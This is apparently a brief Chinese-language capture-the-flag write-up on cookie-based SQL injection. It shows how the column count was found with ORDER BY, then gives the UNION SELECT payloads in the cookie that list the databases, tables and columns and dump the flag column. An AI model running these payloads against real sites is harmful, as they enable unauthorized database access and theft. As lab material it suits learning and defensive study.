使用bp发现cookie的注入点 id=1，发现为数字型

首先使用联合查询

id = 1 order by 2
id = 1 order by 3

发现2的时候有回显，而3的时候无回显

Cookie: id=-1 union select database(),user()

后面开始库->表->列->数据

Cookie: id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

Cookie: id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

Cookie: id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='cmokfqosjo';

Cookie: id=-1 union select 1,group_concat(frjdriizju) from cmokfqosjo ;

拿到flag